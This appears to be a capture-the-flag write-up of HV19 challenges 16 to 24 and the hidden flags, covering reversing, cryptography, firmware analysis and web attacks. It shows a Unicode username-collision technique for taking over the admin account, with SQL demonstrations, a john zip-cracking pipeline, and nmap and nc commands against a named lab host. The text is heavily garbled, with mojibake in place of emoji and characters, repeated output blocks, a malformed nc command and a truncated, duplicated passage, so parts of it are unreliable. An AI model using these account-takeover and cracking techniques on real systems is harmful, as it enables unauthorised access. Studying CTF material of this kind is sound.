HV19/gifts/0000000000000000/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
16 Received SUBACK
Flag:
HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}
HV19.16: B0rked Calculator
Santa has coded a simple project for you, but sadly he removed all the operations. But when you restore them it will print the flag!
Another reverse engineering challenge: b0rked.exe, a broken calculator app. When starting it, it shows three text fields,
where two are editable and a combo box, where we can choose one of four basic mathematical operations: add, subtract, multiply, divide. Unfortunately,
whatever we enter, the output is b0rked (broken). So let's analyze, what it is actually doing.
We can find this switch-case which decides what sub is called depending on the operator chosen.
As expected, the functions are broken, or being more precise: empty, filled with nops. Firstly, we rename it in IDA,
so have it more readable (e.g.
sub_4015B6 = calc_add
). When searching for cross-references,
we can see, that the calculations are not only used in the switch case, but right after the actual calculation:

There is some calculation done on big numbers and the result is shown as a string using SetDlgItemTextA.
We can either patch the binary to implement the correct functionalities of the calculation methods or even easier:
reproduce it in a python script. The flag is printed as result, we just have to fix one character:
$ python decode.py
HV19{B0rkedรFlag_Calculat0r}
Flag:
HV19{B0rked_Flag_Calculat0r}
HV19.17: Unicode Portal
Buy your special gifts online, but for the ultimative gift you have to become admin.
This challenge is about the dangers of unicode in combination if certain string functions. We got access to a web
application, where we can register and login. Other functionalities like viewing the source is only possible if logged inv
viewing the flag only, if logged in as admin. But this website is smart, we get blacklisted for 15min, if we fail to log in too often.
Let's have a look at the source first by creating a new account and logging in.
The function isAdmin returns true, if the current username is santa. The registerUser function seems quite interesting:
function registerUser($conn, $username, $password) {
$usr = $conn->real_escape_string($username);
$pwd = password_hash($password, PASSWORD_DEFAULT);
$conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");
}
Somehow the password of a user is overridden using the ON DUPLICATE KEY UPDATE method when registering an existing user.
But the server catches that case by searching for the given username in the database using the following method:
function isUsernameAvailable($conn, $username) {
$usr = $conn->real_escape_string($username);
$res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");
$row = $res->fetch_assoc();
return (int)$row['cnt'] === 0;
}
What santa didn't think about, is explained on this site. When calling UPPER('ล') mysql returns a
ล as expected. But trying to insert this value as a key, mysql would throw an error:
$ mysql
MariaDB [test]> CREATE TABLE users (username VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci PRIMARY KEY, password VARCHAR(255));
Query OK, 0 rows affected (0.027 sec)
MariaDB [test]> INSERT INTO users (username, password) VALUES (UPPER('santa'), '123');
Query OK, 1 row affected (0.007 sec)
MariaDB [test]> INSERT INTO users (username, password) VALUES (UPPER('ลanta'), '123');
ERROR 1062 (23000): Duplicate entry 'ลANTA' for key 'PRIMARY'
MariaDB [test]> SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('ลanta');
0
Query OK, 0 rows affected (0.027 sec)
MariaDB [test]> INSERT INTO users (username, password) VALUES (UPPER('santa'), '123');
Query OK, 1 row affected (0.007 sec)
MariaDB [test]> INSERT INTO users (username, password) VALUES (UPPER('ลanta'), '123');
ERROR 1062 (23000): Duplicate entry 'ลANTA' for key 'PRIMARY'
MariaDB [test]> SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('ลanta');
0
Therefore registering a user ลanta with any chosen password, we can easily log in as santa and obtain the flag.
Flag:
HV19{h4v1ng_fun_w1th_un1c0d3}
HV19.18: Dance with me
Santa had some fun and created todays present with a special dance. this is what he made up for you:
096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15
Dance with him to recover the flag.
A quite hard reverse engineering challenge. We got deb package and a hex-string. The deb package contains a Mach-O universal binary, which
I couldn't run easily. Analyzing the binary especially trying to generate some pseudocode, we can see the following:
Firstly the input takes up to 32 chars. This input is then somehow passed to the dance function with a constant 0xB132D0A8E78F4511.
After this function the result is printed as a hex string. Following the pseudocode of dance, we get lead to a loop calling dance_block
which calls dance_words again. dance_words has alot of calls to __ROR4__, so there is some rotating involved. This whole function chains
seems to be some stream cipher. Probably it's not a block cipher, as no restrictions of length are made on the input.
With some further investigation on v11, we can see in dance_block, that 8 integers are taken from this address, so the input is 32 Byte = 256 Bit in total + another constant of 8 Byte.
Let's search for a stream cipher which takes 32 and 8 Bytes as input. Looking at this list, we find a cipher called salsa20 which is also a name of a dance.
v11 = unk_100007F50;
printf("Input your flag: ", argv, envp);
fgets(&v6, 32, __stdinp);
v3 = strlen(&v6);
if (v3) {
memcpy(&v7, &v6, v3);
}
dance(&v7, v3, &v11, 0xB132D0A8E78F4511LL);
if (strlen(&v6)) {
v4 = 0LL;
do {
printf("%02X", *((unsigned __int8 *)&v7 + v4++));
} while (strlen(&v6) > v4);
}
result = putchar(10);
Using salsa20 algorithm with the 32 byte buffer as key and the hex constant as salt (note: reversed!), we can decrypt the flag.
Flag:
HV19{Danc1ng_Salsa_in_ass3mbly}
HV19.19: ๐
๐๐๐ถ๐ค๐๐ฆ๐๐๐ฐ๐๐ฅ๐ผ๐ฉ๐ฅฉ๐ตโบโ๏ธ๐ฅ๐๐๐ฅ๐๐๏ธ๐ง๐๐ช๐๐๐๐๐๐๐๐ท๐ถ๐๐ฆ๐ฉ๐๐ฉโ๏ธ๐๐ฅ๐ฆ๐ฃ๐๐ฅจ๐บ๐ฅฏ๐ฝ๐๐ ๐๐๐๐๐๐ญ๐ท๐ฆ๐ดโช๐คง๐๐๐ฅ๐๐งฆ๐คฌ๐ฒ๐๐ฏ๐ฅถโค๏ธ๐๐ฏ๐๐๐๐ป๐ฑ๐๐๐๐ป๐ฌ๐จ๐ฑ๐ฒ๐พ๐ฟ๐งฎ๐ฅ๐๐๐ก๐ฆ๐ฎ๐๐๐๐๐ค๐ป๐ด๐๐๐ฅ๐๐ฉ๐๐ฐ๐๐๐๐๐ท๐ฐโด๐ด๐ธ๐๐ฅถ๐ณ๐๐๐๐ฅณ๐๐๐๐ฅด๐
๐๐๐๐๐โ๐ฐ๐ทโณ๐๐จ๐ ๐งฒ๐ง๐๐งช๐๐งฌ๐ฌ๐ญ๐ก๐คช๐๐๐๐๐๐ฝ๐ฟ๐งด๐งท๐ฉ๐งน๐งบ๐บ๐งป๐๐งฏ๐๐ฌ๐๐ฝ๐๐งฐ๐ฟ๐ท๐ฅ๐ฏ๐ฑ๐ฎ๐ฐ๐ฒ๐๐ฅต๐งฉ๐ญ๐จ๐งต๐งถ๐ผ๐ค๐ฅ๐ฌ๐น๐๐พ๐๐๐ช๐ฅ๐๐๐ฆ๐๐๐ค ๐ณ๐งซ๐๐ฅ๐ก๐ผ๐คข๐ท๐๐โจ๐๐๐คฏ๐๐ฆ ๐ฆ๐คฎ๐๐ฅ๐ญ๐ฝโฒ๐ฏ๐๐๐๐๐๐๐ต๐ฆ๐งโต๐ณ๐บ๐ ๐ฐ๐๐ค๐๐ค๐คก๐บ๐ค๐๐๐ง ๐๐ด๐ค๐ค โ๏ธโก๏ธ ใ ๐๐ฏ๐๐ข๐๐ธโ๏ธโก๏ธ ๐๐ใท ๐ โ ๐โฉโฉ ๐๐จ๐โ๏ธ ๐ใโ๏ธโ๏ธ ๐ โ โก๏ธ๐ฝ ใท ๐ฝ ใ โโ๏ธโ๏ธ๐ ๐ถ๐ค๐ด๐๐ฆ๐บ๐๐๐๐๐๐๐ฆโค๏ธ๐ฉ๐โค๏ธ๐๐๐ฉ๐๐ฎ๐๐พโช๐บ๐ฅฏ๐ฅณ๐ค โ๏ธโก๏ธ ๐
๐ถ๐ค๐๐ก๐งฐ๐ฒ๐ค๐๐งฉ๐คก๐ค โ๏ธโก๏ธ ๐
ผ ๐ ๐ค ๐ โก๏ธ ๐
๐ปโ๏ธ โก๏ธ ๐๐ฉ ๐คโ๏ธ๐๐ช ๐ ๐ก ๐๐ผโ๏ธ๐๐จ๐โ๏ธ๐๐จ๐๐โ๏ธโ๏ธโ๏ธ โก๏ธ ๐ผ โช๏ธ๐๐ผโ๏ธ๐ ๐๐จ๐โ๏ธ๐๐คฏ๐๐ป๐ค๐๐คโ๏ธ๐ โฃ๏ธ๐๐๐ง ๐๐๐
โ๏ธโ๏ธโก๏ธ โ๐ โ ๐โฉโฉ๐๐จ๐โ๏ธ๐๐
โ๏ธโ๏ธ๐๐ฝ ใท ๐ฝ ๐
โโ๏ธโ๏ธ โก๏ธ โ๐ฝ ๐ผ โ ๐ฎ๐๐ผโ๏ธโ๏ธโก๏ธ ^๐ง๐บโโ๐ใโ๏ธโ๐๐จ๐๐๐โ๏ธโ๏ธโ^โ๐งโโ๏ธโก๏ธ โ โช๏ธ โ โ ๐๐
ผโ๏ธ๐คโ๐บ๐ฝ ใท ๐ฝ ๐
ผ โโ๏ธโ๏ธโ ๐ค๐ค ๐๐
โ๏ธโ๐๐
โ๏ธโ๐๐ผโ๏ธโ๐๐
ผโ๏ธโ๐๐จ๐๐โ๏ธ๐คโ๐๐จ๐๐๐๐โ๏ธ๐ค ๐ ๐ขโโ๏ธโ๏ธ๐ ๐คฏ๐๐ป๐ค๐๐คโ๏ธ๐โโ โ โ ๐๐จ๐๐โ๏ธโ๏ธ๐๐ก๐๐๐ง โ ๐๐
โ๏ธโ๏ธโ๏ธโก๏ธ โโช๏ธโ ๐ ๐คทโโ๏ธ๐๐คฏ๐๐ป๐ค๐๐คโ๏ธ๐๐๐บโโ๏ธ๐ ๐
This is probably some esoteric programming language, which I could find very quickly by searching for emoji programming language.
Emojicode seems to have the same structure as described in the docs. Programs start with ๐๐ and end with ๐. We can compile this code
using the provided tool. I had to try different builds, as some of the versions threw errors.
$ emojicodec d19.utf8.emojic -o main
emojicodec: /usr/lib/libtinfo.so.5: no version information available (required by emojicodec)
d19.utf8.emojic:1:297: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:423: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:452: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:491: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:297: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:423: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:452: โ warning: Type is ambiguous without more context.
d19.utf8.emojic:1:491: โ warning: Type is ambiguous without more context.
$ ./main
๐ โก๏ธ ๐
๐ปโ๏ธ โก๏ธ ๐๐ฉ
flag
๐คฏ Program panicked: ๐
flag
๐คฏ Program panicked: ๐
Okay so the program expects an input but crashes if we type in something wrong.
When trying to disassemble it, we stumble over a lot of C++ functions, it's hard to tell, where the interesting parts are.
I have to admit, I don't know a better solution as someone gave me the hint to bruteforce unicodes.
Obtaining a list of unicodes from this site we can bruteforce the input of our compiled binary which gives us the flag.
$ ./main
๐ โก๏ธ ๐
๐ปโ๏ธ โก๏ธ ๐๐ฉ
๐
HV19{*<|:-)____\o/____;-D}
๐
HV19{*<|:-)____\o/____;-D}
Flag:
HV19{*<|:-)____\o/____;-D}
HV19.20: i want to play a game
Santa was spying you on Discord and saw that you want something weird and obscure to reverse? your wish is my command.
I really love reverse engineering challenges, especially, if I can solve them :). This binary is very small, we only have to understand
what the main method is doing.
Firstly, a file at /mnt/usb0/PS4UPDATE.PUP is opened for binary reading. Its read chunk-wise with size 300h = 1024 using fread
and then MD5Update is called. So this code basically calculates the md5 sum of the entire file.
Firstly, a file at /mnt/usb0/PS4UPDATE.PUP is opened for binary reading. Its read chunk-wise with size 300h = 1024 using fread
and then MD5Update is called. So this code basically calculates the md5 sum of the entire file.
The file is opened again for binary reading. We have to focus on the register r13, where an offset
is stored beginning with and incremented by 1337h until 1714908h (1337h iterations in total).
This offset is used for fseek inside the opened file. In every iteration fread (rbx register) is called
with a size of 1Ah = 26 Bytes. These bytes are xored with another constant in the file,
found above the loop stored in the rdata section at address 300h. Reproducing this gives us the flag.
Flag:
HV19{C0nsole_H0mebr3w_FTW}
HV19.21: Happy Christmas 256
Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.
This is his public key:
This is his public key:
X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
To make sure this is safe, he used the NIST P-256 standard.
But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:
- Santa used a password and SHA256 for the private key (d)
- His password was leaked 10 years ago
- The password is length is the square root of 256
- The flag is encrypted with AES256
- The key for AES is derived with pbkdf2_hmac, salt: "TwoHundredFiftySix", iterations: 256 * 256 * 256
Phew - Santa seems to know his business - or can you still recover this flag?
"Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0="
Easy bruteforce challenge, we just have to follow the given steps. First of all, the work is split up into two parts:
- Password generation/cracking
- String encryption/decryption
To obtain the password we have to do the following steps:
- Read a list of common passwords and filter them to get only passwords of length 16
- For every password: Generate a sha256 hash
- Use the hash as private key and generate public key using P256 curve
- Compare the public key with the given public key (x, y)
- If they are equal, we are probably done
Once we found one or more possible passwords, do the following steps
- Generate the pbkdf2_hmac using password, salt and sha256 with 256*256*256 iterations
- Base64 decode the given string
- AES-decrypt the resulting buffer using the generated AES key in ECB mode
- The flag should now be readable
Flag:
HV19{sry_n0_crypt0mat_th1s_year}
HV19.22: The command ... is lost
Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR.
Unfortunately Santa lost the source code for it and doesn't remember the command needed to send to the sledge. The only thing left is this file: thecommand7.data
Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it's on you to help out Santa.
Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it's on you to help out Santa.
This one was a lot of trial and error. We got a .hex file with hex lines as content. Linux file command couldn't tell us, what this is.
So searching for the first string in the file, we find out, that this is some flash dump compiled for microcontrollers. Firstly, we have to find out,
what microcontroller was using this.
Starting Atmel Studio and using the device manager, we go through the microcontroller list, and try to flash the hex file.
If no error is thrown, it probably worked. I tried common MCUs like atmega8, atmega16 until atmega32 for which it worked.
Next I saved the EEPROM to a file, I don't know if this was really needed, but it worked for the next step.

Next we will produce the elf object file out of the hex file and the EEPROM. Now we can import the resulting file for debugging, by opening the
File menu, then Open -> Object file for debugging. Select atmega32 and finish the project wizard. Now we only have to start debugging
the file, pausing it and opening the memory view: Debug โ Windows โ Memory โ Memory 1. The flag is now visible in the memory window.

Flag:
HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}
HV19.23: Internet Data Archive
Today's flag is available in the Internet Data Archive (IDA).
Another bruteforce challenge. I wasted a lot of time until I noticed, my php code doesn't "crack" the zip file correctlyโฆ
We've got a link to a web application, where we can choose, which file(s) we would like to download. The flag is also an option,
but not choose-able as it's available as of 2020. Even when manipulating GET/POST requests, we get a "Illegal request" error.
So let's choose a valid file. The server generates a zip-archive with a one-time password. The zip-archive is located somewhere
in the /tmp folder on the website where directory indexing is enabled! We can find a lot of zip files generated by other users.
Sorting by the creation date, we can find two interesting files: phpinfo.php and Santa-data.zip.
For the next part we have to crack the zip file. As the server generates somehow "random" passwords,
we will first have a look at the generated passwords by sending some requests. We notice that each password has a length of 12
and not every character is included. Characters like l, L and 1 are missing. The resulting charset has 54 characters
so there are still
The challenge title said something about IDA, probably related to something? Searching for IDA password on the internet, one of the first results leads us to this article. It's about the weak serial keys used for IDA Pro. In short words they tried differend srand-seeds and generated keys using random indices for the given charset. Doing the same and piping the keys into john, we can obtain the password after ~2min:
54^12 = 614787626176508399616
possibilities, still too much.The challenge title said something about IDA, probably related to something? Searching for IDA password on the internet, one of the first results leads us to this article. It's about the weak serial keys used for IDA Pro. In short words they tried differend srand-seeds and generated keys using random indices for the given charset. Doing the same and piping the keys into john, we can obtain the password after ~2min:
$ zip2john Santa-data.zip -o flag.txt > hash
$ php generatePasswords.php | john hash --stdin
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Kwmq3Sqmc5sA (Santa-data.zip/flag.txt)
1g 0:00:01:39 0.01009g/s 43825p/s 43825c/s 43825C/s suKcApykm6ST..Ekjreg8U85fm
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Kwmq3Sqmc5sA (Santa-data.zip/flag.txt)
1g 0:00:01:39 0.01009g/s 43825p/s 43825c/s 43825C/s suKcApykm6ST..Ekjreg8U85fm
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Flag:
HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}
HV19.24: ham radio
Elves built for santa a special radio to help him coordinating today's presents delivery.
Another file where I firstly didn't even know what it is. After some research, brcmfmac43430-sdio.bin seems to be a firmware
for broadcom devices. Using string command, we can obtain some interesting information:
$ strings -n 8 brcmfmac43430-sdio.bin | tail -n 5
Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/
pGnexmon_ver: 2.2.2-269-g4921d-dirty-16
wl%d: Broadcom BCM%s 802.11 Wireless Controller %s
43430a1-roml/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: 7.45.41.46 (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206
FWID 01-ef6eb4d3
pGnexmon_ver: 2.2.2-269-g4921d-dirty-16
wl%d: Broadcom BCM%s 802.11 Wireless Controller %s
43430a1-roml/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: 7.45.41.46 (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206
FWID 01-ef6eb4d3
Firstly, the base64 string tells us a great poem:
$ echo "Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/" | base64 -d
Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?
Okay so probably ioctl is somehow involved? Let's do some more investigation. Nexmon was used to create this binary.
It's a firmware patching framework for Broadcom Chips, developed by TU Darmstadt (๐) among others. The repository includes
a firmware file similar to our given one, which is also last modified in August 2017 (compare strings output). If we compare the file
from the repository with our file bytes-wise, we can see, that mainly our file has some extra code at the end of the file. Importing it in Ghidra
using ARM Cortex little endian as instruction set, we can analyze this extra code.
undefined4 FUN_00058dd8(undefined4 param_1,int param_2,undefined4 param_3,undefined4 param_4,undefined4 param_5) {
FUN_00058d9c(param_3,param_4);
uStack56 = *(undefined4 *)PTR_DAT_00058e84;
uStack52 = *(undefined4 *)(PTR_DAT_00058e84 + 4);
uStack48 = *(undefined4 *)(PTR_DAT_00058e84 + 8);
uStack44 = *(undefined4 *)(PTR_DAT_00058e84 + 0xc);
uStack40 = *(undefined4 *)(PTR_DAT_00058e84 + 0x10);
auStack36[0] = *(undefined4 *)(PTR_DAT_00058e84 + 0x14);
if (param_2 == 0xcafe) {
func_0x00803cd4(param_3,PTR_s_Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBh_00058e90,param_4);
return 0;
}
if (param_2 != 0xd00d) {
if (param_2 != 0x1337) {
uVar1 = func_0x0081a2d4(param_1,param_2,param_3,param_4,param_5);
return uVar1;
}
pbVar3 = &bStack57;
pbVar2 = DAT_00058e88;
do {
pbVar3 = pbVar3 + 1;
pbVar2 = pbVar2 + 1;
*pbVar3 = *pbVar2 ^ *pbVar3;
} while (pbVar3 != (byte *)((int)auStack36 + 2));
func_0x00803cd4(param_3,&uStack56,param_4);
return 0;
}
FUN_00002390(PTR_DAT_00058e8c,0x800000,0x17);
return 0;
}
FUN_00058dd8 Has 5 parameters in total. I assume it's some ioctl function, as it's never used
in the binary and the parameters might match: int param_2 is some input parameter which controls what the function is doing, e.g.
for 0xcafe the base64 string is somehow involved, for 0x1337 a buffer is xored and so on. If none of the
hexadecimal values matched, a default-like function func_0x0081a2d4 is called with all parameters. param_3 could be
an output parameter, as it's passed to func_0x00803cd4 when a string or buffer is involved. Unfortunately, the called functions
are out of the address space of our binary, so there is a piece missing.
Following this great article a firmware is contains two parts: RAM and ROM. As we can see in section III. 1) we already have the RAM, so all we need is the ROM.
After some research and address checking, I found the ROM in another repository of Seemo Lab. We have to import it with base address 0x80000000
as written in the article. Now the functions can be found, e.g. SUB_00803cd4 โ 0x80003cd4. SUB_00803cd4 seems to be a basic string copy.
This matches without assumoption, that param_3 is an output buffer. Let's focus on that XOR loop. We can see that the left operand of XOR is
a constant pushed on the Stack: 24 bytes starting from DAT_00058e9. The other operand Starts right above (or before?) the first operand, but looking
at the data view, no data is there. This is because it will be written with
FUN_00002390(PTR_DAT_00058e8c,0x800000,0x17)
before.
This funciton is huge, but it basically copies 0x17 bytes from 0x800000 (start of ROM) to PTR_DAT_00058e8c (2nd operand).
Now we got all ingredients, left operand on the stack, right operand in the beginning of the ROM. XORing them leads us to the final flag.
Flag:
HV19{Y0uw3n7FullM4Cm4n}
HV19.H1: Hidden one
The solutions were also hidden inside the text similar to bacon's cipher.
We can see, that the textare below contains hidden characters, by selecting everything.
We can copy these text and save it to a file. After some research and finding out, that it's
not Whitespace Code or a simple ASCII encoding or Bacon Cipher, I found this tool:
Stegsnow. Now we can extract the hidden content using following command, which leads us to the flag
$ stegsnow -C whitespace.txt
HV19{1stHiddenFound}
Flag:
HV19{1stHiddenFound}
HV19.H2: Hidden Two
When solving the challenge of day 7, we can download the video directly from the media player or, for 'easy download',
as a zip file from the link below the video. Comparing the filenames from the media player and the zip, we will see, that inside the zip,
there is a different name than an uuid is used. At first glance it looks like Base64, but it didn't show anything useful.
Using CyberChef's Magic Tool, we get a list of possible decodings.
With Base58 decoding, the hidden flag is:
Flag:
HV19{Dont_confuse_0_and_O}
HV19.H3: Hidden Three
Not each quote is compl
After the first challenge using http://whale.hacking-lab.com was released, we could use a nmap scan, to see,
what else was running there:
$ nmap -p- -sV whale.hacking-lab.com -A -T 5
Starting Nmap 7.80 ( https://nmap.org ) at (...)
Nmap scan report for whale.hacking-lab.com (80.74.140.188)
Host is up (0.041s latency).
rDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
17/tcp open qotd?
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
(...)
8888/tcp open http Apache Tomcat 9.0.20
(...)
Nmap scan report for whale.hacking-lab.com (80.74.140.188)
Host is up (0.041s latency).
rDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
17/tcp open qotd?
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
(...)
8888/tcp open http Apache Tomcat 9.0.20
(...)
We see an odd open port 17/tcp with probably a service called qotd which is quote of the day,
which fits to the challenge description. We also see an open ssh port, the other challenges port and a lot of closed ports,
which are uninteresting for us, so let's focus on port 17.
Let's have a look what it gives us, if we just connect to it:
$ nc http://whale.hacking-lab.com 17
4
Just one character? And the connection is closed immediately?
The description told us that not each quote is complete(?), let's just try it again after some time
$ nc http://whale.hacking-lab.com 17
g
So the output depends on the time, the request is made.
Let's repeat that for every hour, we can simply make a cronjob which calls our script:
@hourly hidden3.py flag.txt
. We can obtain the flag after 24h:
Flag:
HV19{an0ther_DAILY_fl4g}
HV19.H4: Hidden Four
The last hidden flag can be found in the solution of the same day's challenge, when it was released.
Looking at the flag of day 14, we notice, that the content looks weird (no leet or something).
As the challenge was dealing with obfuscated perl code and the __DATA__ section contains the string "Only perl can parse Perl!".
So as we enter the content into a perl interpreter, the hidden flag is printed:
$ perl input.pl
Squ4ring the Circle
Flag:
HV19{Squ4ring the Circle}
×